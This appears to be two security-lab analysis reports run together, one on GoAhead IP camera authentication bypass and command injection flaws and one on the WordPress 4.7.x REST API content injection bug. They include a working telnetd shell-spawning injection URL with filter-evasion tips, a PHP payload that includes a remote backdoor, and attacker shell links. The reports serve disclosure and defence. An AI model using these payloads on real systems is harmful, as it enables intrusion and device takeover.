函数如下:123456789101112131415161718192021222324252627282930313233343536373839404142434445//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue ){const char* pos1, *pos = pszSrc;unsigned char len = 0;if ( !pszSrc || !pszParamName ){return -1;}//判断url和需要查找的变量loginuse是否存在pos1 = strstr( pos, pszParamName );if ( !pos1 ){return -1;}//由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1)pos = pos1 + strlen( pszParamName ) + 1;pos1 = strstr( pos, "&" );if ( pos1 ){memcpy( pszParamValue, pos, pos1 - pos );//根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。//根据作者的POC:loginuse&loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1//memcpy( pszParamValue, pos, -1 );无法运行成功。len = pos1 - pos;}else{pos1 = strstr( pos, " " );if ( pos1 != NULL ){memcpy( pszParamValue, pos, pos1 - pos );len = pos1 - pos;}}return 0;//不论上述到底如何取值,最终都可以返回0}根据作者给出的
PoC
,在memcpy()
函数处会导致崩溃,但事实上,我们的web
服务器正常运行并返回system.ini
具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()
函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。func/ieparam.c
文件第7514-7543
行调用了AdjustUserPri()
函数:123456789101112131415161718192021222324252627282930if ( auth == 0x00 ){char temp[512];int wlen = 0;if ( len ){return 0;}#if 0byPri = AdjustUserPri( url );printf("url:%s byPri %d\n",url,byPri);if ( byPri == 0x00 ){memset( temp, 0x00, 512 );wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );memcpy( pbuf, temp, wlen );return wlen;}#elsebyPri = 255;#endif}else{byPri = pri;}在之前跟
GetUserPri()
函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin
。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri
被直接赋值为255
,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。很遗憾,我们没有继续向上溯源找到这里的
auth
这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth
为0
时,通过GET请求中的参数
验证用户名密码。当auth
不为0
时,通过HTTP摘要验证方式
来验证用户名密码。再看一遍上方代码,
GET
请求中含有参数loginuse
和loginpas
就直接可以通过验证。那么AdjustUserPri()
函数中另外两个具有相同逻辑的参数user
和pwd
呢?成功抓住"新代码"的影子。
2. 远程命令执行漏洞一(需登录)
作者给出的exp如下:
12user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'可以看到,该
exp
分为两步,第一步先设置ftp
各种参数,第二步按照第一步设置的各参数测试ftp
链接,同时导致我们在第一步设置的命令被执行。我们在
func/ieparam.c
文件中找到了set_ftp.cgi
和ftptest.cgi
的调用过程:1234567891011121314151617181920212223242526383: pdst = strstr( pcmd, "ftptest.cgi" );384:385: if ( pdst != NULL )386: {387: return CGI_IESET_FTPTEST;388: }455: pdst = strstr( pcmd, "set_ftp.cgi" );456:457: if ( pdst != NULL )458: {459: return CGI_IESET_FTP;460: }7658: case CGI_IESET_FTPTEST:7659: if ( len == 0x00 )7660: {7661: iRet = cgisetftptest( pbuf, pparam, byPri );7662: }7756: case CGI_IESET_FTP:7757: if ( len == 0x00 )7758: {7759: iRet = cgisetftp( pbuf, pparam, byPri );7760: NoteSaveSem();7761: }首先跟踪
cgisetftp( pbuf, pparam, byPri );
这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:123456789101112131415161718192021222324252627282930313233//这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。iRet = GetStrParamValue( pparam, "svr", temp2, 63 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );GetIntParamValue( pparam, "port", &iValue );bparam.stFtpParam.nFtpPort = iValue;iRet = GetStrParamValue( pparam, "user", temp2, 31 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );memset( temp2, 0x00, 64 );iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );//我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwdiRet = GetStrParamValue( pparam, "dir", temp2, 31 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );if(decoderbuf[0] == 0){strcpy(bparam.stFtpParam.szFtpDir, "/" );}GetIntParamValue( pparam, "mode", &iValue );bparam.stFtpParam.byMode = iValue;GetIntParamValue( pparam, "upload_interval", &iValue );bparam.stFtpParam.nInterTime = iValue;iRet = GetStrParamValue( pparam, "filename", temp1, 63 );URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );strcpy( bparam.stFtpParam.szFileName, decoderbuf );综上所述,
set_ftp.cgi
仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi
部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );
这个函数。在该函数中,最为关键的函数为DoFtpTest();
。直接跳到func/ftp.c
文件中找到函数DoFtpTest()
:12345678910111213141516int DoFtpTest( void ){int iRet = 0;iRet = FtpConfig( 0x01, NULL );if ( iRet == 0 ){char cmd[128];memset(cmd, 0, 128);sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);iRet = DoSystem(cmd);//iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );}return iRet;}可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。我们先看 FtpConfig()函数如何处理该问题:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384int FtpConfig( char test, char* filename ){......fp = fopen( "/tmp/ftpupdate1.sh", "wb" );memset( cmd, 0x00, 128 );sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );fwrite( cmd, 1, strlen( cmd ), fp );memset( cmd, 0x00, 128 );sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );fwrite( cmd, 1, strlen( cmd ), fp );memset( cmd, 0x00, 128 );sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );fwrite( cmd, 1, strlen( cmd ), fp );memset( cmd, 0x00, 128 );sprintf( cmd, "binary\n" );fwrite( cmd, 1, strlen( cmd ), fp );if ( bparam.stFtpParam.byMode == 1 ) //passive{memset( cmd, 0x00, 128 );sprintf( cmd, "pass\n" );fwrite( cmd, 1, strlen( cmd ), fp );}#ifdef CUSTOM_DIRchar sub_temp[ 128 ];memset(sub_temp, 0, 128);//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID);flag = sub_dir(fp,sub_temp);if(flag){memset( cmd, 0x00, 128 );sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );fwrite( cmd, 1, strlen( cmd ), fp );}#elsememset( cmd, 0x00, 128 );sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );fwrite( cmd, 1, strlen( cmd ), fp );#endifmemset( cmd, 0x00, 128 );sprintf( cmd, "lcd /tmp\n" );fwrite( cmd, 1, strlen( cmd ), fp );if ( test == 0x01 ){FtpFileTest();memset( cmd, 0x00, 128 );sprintf( cmd, "put ftptest.txt\n" );fwrite( cmd, 1, strlen( cmd ), fp );}else{char filename1[128];memset( filename1, 0x00, 128 );memcpy( filename1, filename + 5, strlen( filename ) - 5 );memset( cmd, 0x00, 128 );sprintf( cmd, "put %s\n", filename1 );fwrite( cmd, 1, strlen( cmd ), fp );}memset( cmd, 0x00, 128 );sprintf( cmd, "close\n" );fwrite( cmd, 1, strlen( cmd ), fp );memset( cmd, 0x00, 128 );sprintf( cmd, "bye\n" );fwrite( cmd, 1, strlen( cmd ), fp );memset( cmd, 0x00, 128 );sprintf( cmd, "!\n" );fwrite( cmd, 1, strlen( cmd ), fp );fclose( fp );iRet = access( "/tmp/ftpupdate1.sh", X_OK );if ( iRet ){DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );}return 0;}至此,逻辑很清晰了。在
FtpConfig()
函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh
中,然后在DoFtpTest()
中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:123456789101112作者原文中展示的/tmp/ftpupload.sh:/ # cat /tmp/ftpupload.sh/bin/ftp -n<<!open 192.168.1.1 21user ftp $(telnetd -l /bin/sh -p 25)ftpbinarylcd /tmpput ftptest.txtclosebye!/ #实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往无法成功运行。从
http://ip:port/get_params.cgi?user=username&pwd=password
可以发现,我们注入的命令在空格处被截断。于是我们用${IFS}替换空格(还可以采用
+
代替空格):但由于有长度限制再次被截断,调整长度后最终成功执行命令:
成功抓住新代码的影子。
3. GoAhead绕过验证文件下载漏洞
2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备中复现。
我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:
123=====================================GoAhead WebServer 2.1.8 Release Notes=====================================再仔细查看
websUrlHandlerRequest()
内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:那么,具体的漏洞成因又是如何呢?让我们来跟进
./web/LINUX/main.c
了解该漏洞的成因。initWebs()
函数中,关键代码如下:1234567891011154: umOpen();157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );其中,
150-160
中um
开头的函数为用户权限控制的相关函数。主要做了以下四件事情:1.
umOpen()
打开用户权限控制;
2.umAddGroup()
增加用户组adm
,并设置该用户组用户使用HTTP摘要认证方式登录;
3.umAddUser()
增加用户admin
,admin0
,admin1
,并且这三个用户均属于adm
用户组;
4.umAddAccessLimit()
增加限制路径/
,凡是以/
开头的路径都要通过HTTP摘要认证
的方式登录属于adm
组的用户。紧接着,在
220
多行通过websUrlHandlerDefine()
函数运行了两个Handler
,websSecurityHandler
和websDefaultHandler
。在websSecurityHandler
中,对HTTP摘要认证方式
进行处理。关键代码如下:1234567886: accessLimit = umGetAccessLimit( path );115: am = umGetAccessMethodForURL( accessLimit );116: nRet = 0;118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}245: return nRet;第86行,
umGetAccessLimit()
函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/
或者\\
,确保我们请求的是一个文件。umGetAccessMethodForURL()
函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini。
根据上文,设置需要对/
路径需要进行HTTP摘要认证
,由于程序判断system.ini
不属于/
路径,所以这里am
为默认的AM_INVALID,
即无需验证。紧接着向下,
nRet
初始化赋值为0.在118-242
行中,如果出现了账号密码错误等情况,则会将nRet
赋值为1
,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet
仍为0
。因此,顺利通过验证,获取到对应的文件内容。就这样,我们再次抓住了这个“新代码”的影子。这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。
4. 远程命令执行漏洞二(需登录)
在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式,即通过
set_mail.cgi
和mailtest.cgi
来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c
文件中找到set_mail.cgi
和mailtest.cgi
的调用过程:12345678910111213141516171819202122232425262728293031257: pdst = strstr( pcmd, "set_mail.cgi" );258:259: if ( pdst != NULL )260: {261: return CGI_IESET_MAIL;262: }348: pdst = strstr( pcmd, "mailtest.cgi" );349:350: if ( pdst != NULL )351: {352: return CGI_IESET_MAILTEST;353:}7674: case CGI_IESET_MAILTEST:7675: if ( len == 0x00 )7676: {7677: iRet = cgisetmailtest( pbuf, pparam, byPri );7678: }7679:7680: break;7746: case CGI_IESET_MAIL:7747: if ( len == 0x00 )7748: {7749: iRet = cgisetmail( pbuf, pparam, byPri );7750: IETextout( "-------------OK--------" );7751: NoteSaveSem();7752: }7753:7754: break;与上一个远程命令执行漏洞类似,
cgisetmail()
函数用于将各参数储存到结构体,例如sender
参数赋值给bparam.stMailParam.szSender
、receiver1
参数赋值给bparam.stMailParam.szReceiver1
。 接着,来到了cgisetmailtest()
函数:123456789101112131415161718192021222324252627282930313233343536int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri ){unsigned char temp[2048];int len = 0;int result = 0;char nexturl[64];int iRet = 0;memset( temp, 0x00, 2048 );//iRet = DoMailTest();if(iRet == 0){IETextout("Mail send over, OK or Not");}/* END: Added by Baggio.wu, 2013/10/25 */memset( nexturl, 0x00, 64 );iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );if ( iRet == 0x00 ){#if 1len += RefreshUrl( temp + len, nexturl );#endifmemcpy( pbuf, temp, len );}else{len += sprintf( temp + len, "var result=\"ok\";\r\n" );memcpy( pbuf, temp, len );}printf( "sendmail len:%d\n", len );return len;}该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪
DoMailTest()
这个函数:123456789101112131415161718192021222324252627282930313233343536int DoMailTest( void ) //email test{int iRet = -1;char cmd[256];if ( bparam.stMailParam.szSender[0] == 0 ){return -1;}if ( bparam.stMailParam.szReceiver1[0] != 0x00 ){iRet = EmailConfig();if ( iRet ){return -1;}memset( cmd, 0x00, 256 );/* BEGIN: Modified by Baggio.wu, 2013/9/9 */sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );//sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s",// bparam.stMailParam.szReceiver1 );printf( "start cmd:%s\n", cmd );EmailWrite( cmd, strlen( cmd ) );//emailtest();printf( "cmd:%s\n", cmd );}return iRet;}可以看到
sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ),
发件人和收件人都直接被拼接成命令导致最后的命令执行。三、漏洞影响范围
ZoomEye网络空间探测引擎
探测结果显示,全球范围内共查询到78
万条历史记录。我们根据这78
万条结果再次进行探测,发现这些设备一共存在三种情况:- 第一种是设备不存在漏洞。
- 第二种是设备存在验证绕过漏洞,由于
web
目录下无system.ini
,导致最终无法被利用。可以看到,当我们直接请求system.ini
时显示需要认证,但当我们绕过验证之后却显示404 not found
。 - 最后一种是设备既存在验证绕过漏洞,又存在
system.ini
文件。这些设备就存在被入侵的风险。
我们统计了最后一种设备的数量。数据显示有近
7万
的设备存在被入侵的风险。这7万设备的国家分布图如下:可以看出,美国、中国、韩国、法国、日本均属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:
(注:None为属于中国,但未解析出具体地址的IP)
我们通过查询
ZoomEye网络空间探测引擎
历史记录导出2016年1月1日、2017年1月1日以及本报告编写日期2017年3月14日三个时间点的数据进行分析。在这三个时间点,我们分别收录了
banner
中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41
的设备26万台、65万台和78万台。但对于这些IP而言,存在漏洞的设备增长趋势却完全不同。
可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,截至仅仅两个多月后的今天,已有近7万台设备存在漏洞。
根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致该漏洞的出现,而那些新生产的摄像头则被销往世界各地。根据今年新增IP地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。
根据数据,我们可以看到,主要销往美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。
四、修复方案
1.将存在漏洞的摄像头设备置于内网。
2.及时升级到最新固件。
3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存中的恶意进程。五、参考链接
- https://www.seebug.org/vuldb/ssvid-92789
- https://www.seebug.org/vuldb/ssvid-92748
- https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
- https://github.com/kuangxingyiqing/bell-jpg
- http://aluigi.altervista.org/adv/goahead-adv2.txt
附录:Pierre Kim给出的受影响设备列表
3G+IPCam Other 3SVISION Other 3com CASA 3com Other 3xLogic Other 3xLogic Radio 4UCAM Other 4XEM Other 555 Other 7Links 3677 7Links 3677-675 7Links 3720-675 7Links 3720-919 7Links IP-Cam-in 7Links IP-Wi-Fi 7Links IPC-760HD 7Links IPC-770HD 7Links Incam 7Links Other 7Links PX-3615-675 7Links PX-3671-675 7Links PX-3720-675 7Links PX3309 7Links PX3615 7Links ipc-720 7Links px-3675 7Links px-3719-675 7Links px-3720-675 A4Tech Other ABS Other ADT RC8021W AGUILERA AQUILERA AJT AJT-019129-BBCEF ALinking ALC ALinking Other ALinking dax AMC Other ANRAN ip180 APKLINK Other AQUILA AV-IPE03 AQUILA AV-IPE04 AVACOM 5060 AVACOM 5980 AVACOM H5060W AVACOM NEW AVACOM Other AVACOM h5060w AVACOM h5080w Acromedia IN-010 Acromedia Other Advance Other Advanced+home lc-1140 Aeoss J6358 Aetos 400w Agasio A500W Agasio A502W Agasio A512 Agasio A533W Agasio A602W Agasio A603W Agasio Other AirLink Other Airmobi HSC321 Airsight Other Airsight X10 Airsight X34A Airsight X36A Airsight XC39A Airsight XX34A Airsight XX36A Airsight XX40A Airsight XX60A Airsight x10 Airsight x10Airsight Airsight xc36a Airsight xc49a Airsight xx39A Airsight xx40a Airsight xx49a Airsight xx51A Airsight xx51a Airsight xx52a Airsight xx59a Airsight xx60a Akai AK7400 Akai SP-T03WP Alecto 150 Alecto Atheros Alecto DVC-125IP Alecto DVC-150-IP Alecto DVC-1601 Alecto DVC-215IP Alecto DVC-255-IP Alecto dv150 Alecto dvc-150ip Alfa 0002HD Alfa Other Allnet 2213 Allnet ALL2212 Allnet ALL2213 Amovision Other Android+IP+cam IPwebcam Anjiel ip-sd-sh13d Apexis AH9063CW Apexis APM-H803-WS Apexis APM-H804-WS Apexis APM-J011 Apexis APM-J011-Richard Apexis APM-J011-WS Apexis APM-J012 Apexis APM-J012-WS Apexis APM-J0233 Apexis APM-J8015-WS Apexis GENERIC Apexis H Apexis HD Apexis J Apexis Other Apexis PIPCAM8 Apexis Pyle Apexis XF-IP49 Apexis apexis Apexis apm- Apexis dealextreme Aquila+Vizion Other Area51 Other ArmorView Other Asagio A622W Asagio Other Asgari 720U Asgari Other Asgari PTG2 Asgari UIR-G2 Atheros ar9285 AvantGarde SUMPPLE Axis 1054 Axis 241S B-Qtech Other B-Series B-1 BRAUN HD-560 BRAUN HD505 Beaulieu Other Bionics Other Bionics ROBOCAM Bionics Robocam Bionics T6892WP Bionics t6892wp Black+Label B2601 Bravolink Other Breno Other CDR+king APM-J011-WS CDR+king Other CDR+king SEC-015-C CDR+king SEC-016-NE CDR+king SEC-028-NE CDR+king SEC-029-NE CDR+king SEC-039-NE CDR+king sec-016-ne CDXX Other CDXXcamera Any CP+PLUS CP-EPK-HC10L1 CPTCAM Other Camscam JWEV-372869-BCBAB Casa Other Cengiz Other Chinavasion Gunnie Chinavasion H30 Chinavasion IP611W Chinavasion Other Chinavasion ip609aw Chinavasion ip611w Cloud MV1 Cloud Other CnM IP103 CnM Other CnM sec-ip-cam Compro NC150/420/500 Comtac CS2 Comtac CS9267 Conceptronic CIPCAM720PTIWL Conceptronic cipcamptiwl Cybernova Other Cybernova WIP604 Cybernova WIP604MW D-Link DCS-910 D-Link DCS-930L D-Link L-series D-Link Other DB+Power 003arfu DB+Power DBPOWER DB+Power ERIK DB+Power HC-WV06 DB+Power HD011P DB+Power HD012P DB+Power HD015P DB+Power L-615W DB+Power LA040 DB+Power Other DB+Power Other2 DB+Power VA-033K DB+Power VA0038K DB+Power VA003K+ DB+Power VA0044_M DB+Power VA033K DB+Power VA033K+ DB+Power VA035K DB+Power VA036K DB+Power VA038 DB+Power VA038k DB+Power VA039K DB+Power VA039K-Test DB+Power VA040 DB+Power VA390k DB+Power b DB+Power b-series DB+Power extcams DB+Power eye DB+Power kiskFirstCam DB+Power va033k DB+Power va039k DB+Power wifi DBB IP607W DEVICECLIENTQ CNB DKSEG Other DNT CamDoo DVR DVR DVS-IP-CAM Other DVS-IP-CAM Outdoor/IR Dagro DAGRO-003368-JLWYX Dagro Other Dericam H216W Dericam H502W Dericam M01W Dericam M2/6/8 Dericam M502W Dericam M601W Dericam M801W Dericam Other Digix Other Digoo BB-M2 Digoo MM==BB-M2 Digoo bb-m2 Dinon 8673 Dinon 8675 Dinon SEGEV-105 Dinon segev-103 Dome Other Drilling+machines Other E-Lock 1000 ENSIDIO IP102W EOpen Open730 -
WordPress REST API 内容注入漏洞事件分析报告
作者:知道创宇404安全实验室
报告发布日期:2017年02月28日 (注:本文首发自 paper.seebug.org)
PDF 版报告下载:WordPress REST API 内容注入漏洞事件分析报告
English Version:WordPress REST API Content Injection Vulnerability Incident Analysis Report
一、事件概述
1 漏洞简介:
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。在4.7.0版本后,REST API插件的功能被集成到 WordPress 中,由此也引发了一些安全性问题。近日,一个由 REST API 引起的影响 WordPress 4.7.0和4.7.1版本的漏洞被披露,该漏洞可以导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。
2017年2月11日,知道创宇404安全实验室使用 ZoomEye 网络空间探测引擎进行扫描探测后发现,受该漏洞影响的网站仍然有15361个,其中有9338个网站已经被黑客入侵并留下了组织代号。我们针对组织代号进行统计,共发现八十余种代号。
我们使用 ZoomEye 网络空间搜索引擎搜索
"app:WordPress ver:4.7.1"
,获得36603条结果。以下是 https://www.zoomeye.org/search?t=web&q=app%3AWordPress+ver%3A4.7.1的搜索结果:2 漏洞影响:
导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。
3 影响版本:
- WordPress 4.7.0
- WordPress 4.7.1
二、时间线
三、漏洞验证与分析
1 漏洞验证:
PoC:
Seebug 已给出详细的复现过程,在此过程中可以使用 Seebug 收录的 PoC 来进行测试。 https://www.seebug.org/vuldb/ssvid-92637
漏洞验证扫描插件: Seebug 已更新 WordPress REST API 内容注入漏洞扫描插件。
( https://www.seebug.org/monster/ )简单复现过程:
安装 WordPress存在漏洞版本并配置 REST API 以及 Apache+PHP+Mysql 的运行环境。加载 Apache 的 rewrite 模块以及主配置文件配置如下图:
设置 WordPress 站点为固定链接:
构造数据包:可以看到不存在任何验证信息,提示不允许编辑文章:
构造可利用数据包:当 url 为 /wp-json/wp/v2/posts/1?id=1a 时,可以看到成功跳过验证获取文章内容:
木马后门插入:
需要安装如
insert_php
,exec_php
等允许页面执行PHP 代码的插件。 可以构造数据包如下:12content<span class="token punctuation">:</span>"<span class="token punctuation">[</span>insert_php<span class="token punctuation">]</span> <span class="token keyword">include</span><span class="token punctuation">(</span>'http<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token comment">]//acommeamour.fr/tmp/xx.php'); [/insert_php][php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]","id":"61a"}</span>上传后木马后门被插件当做 PHP 代码执行,网站被植入后门。
2 漏洞分析:
Seebug Paper (http://paper.seebug.org/208/ )已经发表了关于此漏洞的详细分析,以此作为参考。
首先,在
./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
中,这里对路由进行了正则限制,防止攻击者恶意构造 id 值,但是我们可以发现
$get
和$post
值优先于路由正则表达式生成的值。接下来在
update_item
方法及其权限检查函数update_item_permissions_check
中:可以看出,当我们发送一个没有响应文章的 id 时,可以通过权限检查并允许继续执行对
update_item
方法的请求。具体到代码就是让$post
为空来绕过权限检查。至于如何使
$post
为空,可跟进至get_post
方法,发现其使用wp_posts
中的get_instance
静态方法获取文章:当我们传入的id 不是全由数字字符组成时返回 false,从而
get_post
方法返回null,接着绕过权限检查。 回头再看可执行方法upload_item
:这里
$id
这个参数做了类型转化传递给get_post
,而PHP类型转换时会出现这种情况:也就是说攻击者发起
/wp-json/wp/v2/posts/1?id=1hhh
的请求就是发起了对id 为1的文章的请求。3 漏洞修复:
在
/wp-includes/class-wp-post.php
中:更改了对于 $post_id 的参数的传入顺序和判断条件,防止我们传入“数字+字母”这样的格式进行绕过。
四、漏洞影响分布
第一次扫描探测结果:
我们于 2017/02/11 对全球的 WordPress 网站进行了扫描探测,发现当时仍旧受影响的 WordPress 网站共有 15361个。
这些网站分别归属于82个国家与地区,其中 Top 20 国家与地区分布如下图:
第二次扫描探测结果:
我们于 2017/02/14 对全球的 WordPress 网站再次进行了扫描探测,获取最新数据如下:
现存漏洞站数量:13390 个,与 2017/02/11 数据对比减少了1971 个。 其中数据重合量为12584 个,网站新增量为 806 个,存在代码执行插件的网站数量为 905 个。
第三次扫描探测结果:
我们于 2017/02/20 对全球 WordPress 网站进行了第三次扫描探测。
根据第三次得到的数据,我们发现全球依旧存在漏洞的 WordPress 网站数量为11573个,其中与第二次数据重合量为11182个,新增数量为391个,消失数量为2208个,存在代码执行插件的网站数量为69个。
三次扫描探测数据对比:
分析上图,我们发现:
- 存在漏洞且一直未修复的网站基数还是很大。
- 存在允许代码执行插件的漏洞网站数量不多,对现存漏洞网站影响不大。
Top 10国家存在漏洞网站总量与消失量对比:
根据上图我们能很清晰的看出, 02/11 后消失的漏洞网站数量约占原有漏洞网站总量的三分之一 。
网页污染行为分析:
我们于 2017/02/13 探测这些网站的运行情况,发现共有 9338 个网站已经留下了黑客的痕迹(痕迹如 hacked by xxx)。
Ps:我们探测的是依旧存在漏洞的网站并获取网站最新文章信息,而在经过修复的网站上还是有可能存在黑客入侵的痕迹。
我们统计了黑客组织留下的黑客代号,发现不同的黑客代号共出现了85种。其中 Top 20黑客组织代号如下表:
上表说明的是此时依旧活跃在互联网上的针对该漏洞的黑客组织的排名。 我们分析了黑客留下的痕迹,初步总结了以下几点信息:
1. 代号为w4l3XzY3 的黑客是事件早期被报道出来的黑客之一,此人曾经于2014年针对 Drupal 网站进行过相同性质的入侵行为。分析其过往行为发现该黑客一直在入侵网站挂黑页,Google搜索该代号已有295000条记录,已经是个惯犯了。
https://www.drupal.org/node/2394801此人推特链接如下: https://twitter.com/w4l3xzy3
在 nairaland 论坛上有他留下的一些个人信息以及售卖php shell等工具的主题:http://www.nairaland.com/w4l3xzy3
2. 代号为 SA3D HaCk3D 与 MuhmadEmad 的黑客入侵后留下的页面是相似的,宣传反 ISIS 的信息。前者提到了 peshmarga ,应该是一个中东国家,具有反美倾向。后者提到了 kurdistan ,是黑客组织 “ KurdLinux_Team ” 的成员。该人疑似曾在推特上炫耀自己的黑客行为。
https://twitter.com/muhmademad3. 代号为 GeNErAL HaCkEr ,GeNErAL 与 RxR HaCkEr 的黑客同样疑似出自同一组织。他们还留下了一个 qq 号码:21*****233 。
搜索该账号获得信息如下图:可以看到组织名为 “ Team Emirates” 搜索相关信息发现一个疑似的相关推特https://twitter.com/rxrhackerr
4. 代号为 GHoST61 的黑客留下的信息为土耳其语,翻译出来大意是“土耳其无处不在”,疑似为出自土耳其的黑客组织。
五、后续影响分析
暗链与插件导致的PHP代码注入与 RCE :
我们发现当未修复漏洞的网站启用了如
insert_php
或exec_php
等允许网页执行 PHP 代码的插件时,黑客利用此漏洞除了能够在网页中插入暗链还能在网站中注入后门并以此牟利。我们在15361个未修复漏洞的目标站点中,探测到的使用了这两种插件的网站有905个,已经被注入木马后门的网站一共有158个。其中插入的一句话木马口令共有98种。
暗链发现情况:
在本次探测到的数据中发现暗链出现频率第一的网址 http://biturlz.com ,重定向到 https://bitly.com 这个网址,出现次数355次。
出现频率第二的是 www.yellowfx.com 这个网址,53次。
余下的网址出现频率则比较接近,分布范围较广。
本次探测到的黑客shell地址如下:
http://pastebin.com/raw/ku5zcKfu
https://paste.ee/r/3TwsC/0
http://pastebin.com/k20u5zcKfu
